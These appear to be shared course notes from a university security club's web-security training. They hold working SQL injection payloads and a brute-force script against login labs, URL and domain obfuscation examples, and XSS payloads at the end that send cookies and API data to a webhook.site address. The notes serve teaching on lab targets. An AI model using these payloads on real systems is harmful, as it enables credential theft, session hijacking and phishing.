# BambooFox Web Security 共筆
## [Slido](https://app.sli.do/event/nj9ycXV2pK49AHtBDZ9TCy)

### [Sqlite3 Online](https://training.ching367436.me/sqlite3-viewer/)
### [SQLi Viewer](https://training.ching367436.me/sql-injection-viewer/)

### [Login Panel](https://login-panel.ching367436.me)

username: admin
password: ' OR ''='

### [Login Panel 2](https://login-panel-2.ching367436.me)
Union based SQL injection

UNION SELECT 1,password,3,4 FROM Users --

username: a
password: pass' UNION SELECT 1,(password),3,4 From Users -- 

### [Login Panel (password)](https://login-panel.ching367436.me)
Boolean based SQL injection

#### 選出 admin password 的第一個字

SELECT SUBSTR(password,1,1) FROM Users

#### 整體密碼

' OR substr((SELECT password FROM Users WHERE username='admin'), 1, 1)='B' -- 

爆破腳本

import requests
from string import printable

def f(guess,i):
    url = "http://bamboofox.cs.nctu.edu.tw:38300/login"
    a  = requests.post(url,{
    "username":"guest",
    "password":f"' OR substr((SELECT password FROM Users WHERE username='admin'),{i+1},1)='{guess}' --"
    })
    return '2FA' in a.text


res=""
for i in range(128):
    for guess in printable:
        if f(guess,i):
            res += guess
            break
    print(res)

### [Login Panel 2 (Other table)](https://login-panel-2.ching367436.me)
##### 1. Extract table name

' UNION SELECT 1,(),3,4 --

() 裡面放 `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
` 可以選出所有這個 database 裡面的 table_name

Result:

Users,S3cr3t_t4bl3

##### 2. Extract column name of the S3cr3t_t4bl3

SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='S3cr3t_t4bl3'

Result:

CREATE TABLE S3cr3t_t4bl3 (id INTEGER PRIMARY KEY, flag_test1234 TEXT)

##### 3. Get the flag

SELECT flag_test1234 FROM S3cr3t_t4bl3

### Other techniques
- Time based
- Error based
- Out of bound
- Write file
- ...

### Tools
- sqlmap

### [Lab: Starburst Cat Shop](https://bamboofox.cs.nctu.edu.tw/courses/16/challenges/277)
#### Steps for buying a cat
1. Check if the balance is sufficient.
2. Make the cat the buyer's property.
3. balance -= cat_price

### URL
Tools: [Burp Suite Community](https://portswigger.net/burp/releases#community)

#### 請問以下連結會連去哪個網站？
1. `https://[e-mail]`
2. `https://bamboofox.org?@blog.ching367436.me`
3. `https://bamboofox.org/&@blog.ching367436.me`
4. `https://bamboofox.org&@blog.ching367436.me`
5. `https://bamboofox。org#@BLOG。ching367436.me`
6. `https://ｂ‍log。ching367436.‍me`
7. http://142.250.196.206/
8. http://2398799054/
9. http://0x8efac4ce/
10. `https://аpple.com`
11. `hTTpS://中文.Tw`
12. `https://xn--fiq228c.tw/`

#### [URL](https://www.rfc-editor.org/rfc/rfc3986#section-3)

 http://[e-mail]:38300/login?name=ferret#nose
 \__/   \_____________________________________/\____/ \_________/\__/
  |                       |                      |         |       |
scheme                authority                path     query   fragment

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

#### Domain
https://splitline.github.io/domain-obfuscator/
https://www.xudongz.com/blog/2017/idn-phishing/
http://www.unicode.org/reports/tr46/#Mapping
> IDNA2003 requires a mapping phase, which maps ÖBB.at to öbb.at, for example. Mapping typically involves mapping uppercase characters to their lowercase pairs, but it also involves other types of mappings between equivalent characters, such as mapping halfwidth katakana characters to normal katakana characters in Japanese. The mapping phase in IDNA2003 was included to match the insensitivity of ASCII domain names. Users are accustomed to having both CNN.com and cnn.com work identically. They expect domain names with accents to have the same casing behavior, so that ÖBB.at is the same as öbb.at. There are variations similar to case differences in other scripts. The IDNA2003 mapping is based on data specified in the Unicode Standard, Version 3.2; this mapping was later formalized as the Unicode property [NFKC_Casefold].
<!-- https://www.xudongz.com/blog/2017/idn-phishing/ -->

### Cookie
- 可以用來接資料的網站：https://webhook.site

<script>
location = 'https://webhook.site/3b7ea5c0-d7d3-4c27-bfab-a31936a2ceff?' + document.cookie
</script>

<img src=x onerror="
            fetch('/api/portfolio')
                .then(res => res.json())
                .then(data => {
                    
                        location = 'https://webhook.site/3b7ea5c0-d7d3-4c27-bfab-a31936a2ceff?' + (JSON.stringify(data))
                    
                })

location = 'https://webhook.site/3b7ea5c0-d7d3-4c27-bfab-a31936a2ceff?' + document.cookie
">